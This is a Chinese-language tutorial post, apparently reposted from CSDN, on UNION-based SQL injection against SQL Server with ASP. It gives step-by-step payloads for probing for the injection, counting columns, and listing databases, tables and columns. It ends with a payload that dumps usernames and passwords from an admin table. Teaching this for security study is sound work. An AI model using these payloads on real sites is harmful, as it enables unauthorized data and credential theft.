71.网络安全渗透测试—[SQL注入篇10]—[SQLSERVER+ASP-联合查询注入]

本文阅读 3 分钟
首页 代码,C/C#/C++ 正文

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

一、SQLSERVER+ASP 联合查询注入

1、SQLSERVER 相关概念:

     (1)sqlserver经常与asp或者aspx一起使用,操作系统多数是win2012、win2018, 数据库版本大多是sql2008、sql2012

     (2)sqlserver 常用系统函数:

@@version 版本信息
host_name()  计算机名称
suser_name() 用户登录名
user_name() 用户在数据库中的名字
show_role() 对当前用户起作用的规则
db_name() 数据库名
object_name(obj_id) 数据库对象名
col_name(obj_id,col_id) 列名
col_length(objname,colname) 列长度
valid_name(char_expr) 是否是有效标识符

     (3)注释符号

--空格         单行注释
/* */     多行注释

2、SQLSERVER+ASP 联合查询注入示例:

参考链接传送门

     (1)判断是否存在注入:and/or逻辑判断

and 1=2        # 页面错误
and 1=1        # 页面正常

     (2)判断列数:order by

?id=1 order by 3
?id=1 order by 4

     (3)联合查询注入—判断回显位:联合查询要求,联合查询的列与被联合查询的列的个数和类型一致,类型一致问题可以使用null值绕过。

        示例1-类型必须一致:?id=1 union select 1,'2','3' imgimg        示例2-null值绕过类型:?id=1 union select null,null,null img         示例3-前置查询结果置空绕过:?id=-1 union select 1,2,3 img

     (4)联合查询注入—查询系统信息

        示例1-查询版本:?id=1 union select 1,@@version,'3'

img         示例2-查询用户登录名:?id=1 union select 1,suser_name(),'3'

img        示例3-查询数据库名:?id=1 union select 1,db_name(),'3' img

     (5)联合查询—当前数据库的表名

?id=1 union select top 第几行前的数据 1,'2',name FROM mydb.sys.sysobjects where xtype = 'U'

        示例1-查询mydb库的第一个表对象:?id=1 union select top 1 1,'2',name FROM mydb.sys.sysobjects where xtype = 'U' img

        示例2-查询mydb库的表对象(可以排除我们查过的表对象):?id=1 union select top 100 1,'2',name FROM mydb.sys.sysobjects where xtype = 'U' and name!='cmd'

img

        示例3-查询mydb库的所有表对象:?id=1 union select top 100 1,'2',name FROM mydb.sys.sysobjects where xtype = 'U' img

     (6)联合查询—admin表的列/字段对象

?id=1 union Select 1,'2',name from 数据库名.sys.syscolumns Where ID=OBJECT_ID('数据库.dbo.表名')

        示例1-查询admin表的所有字段名:?id=1 union Select 1,'2',name from mydb.sys.syscolumns Where ID=OBJECT_ID('mydb.dbo.admin')

img         示例2-查询admin表的字段名(排序某一项):?id=1 union Select 1,'2',name from mydb.sys.syscolumns Where ID=OBJECT_ID('admin') and name!='username'

img

     (7)联合查询—admin表的数据

?id=1 union select null,字段名,字段名 from 表名

        示例-查询admin表的数据:?id=1 union select null,username,password from admin

img

3、总结:

(1)联合查询要求,联合查询的列与被联合查询的列的个数和类型一致(类型一致即可,或者前置查询结果置空绕过,或者null值代替列名绕过)。

(2)联合查询步骤:5步骤

         1.当前库名:?id=1 union select 1,db_name(),'3'

         2.当前库版本:?id=1 union select 1,@@version,'3'

         3.当前库的所有表:?id=1 union select top 第几行前的数据 1,'2',name FROM mydb.sys.sysobjects where xtype = 'U'

         4.某个表的所有字段:?id=1 union Select 1,'2',name from 数据库名.sys.syscolumns Where ID=OBJECT_ID('数据库.dbo.表名')

         5.某个表的所有数据:?id=1 union select null,字段名,字段名 from 表名

本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/122564303
-- 展开阅读全文 --
KillDefender 的 Beacon 对象文件 PoC 实现
« 上一篇 02-09
Web安全—逻辑越权漏洞(BAC)
下一篇 » 03-13

发表评论

成为第一个评论的人

热门文章

标签TAG

最近回复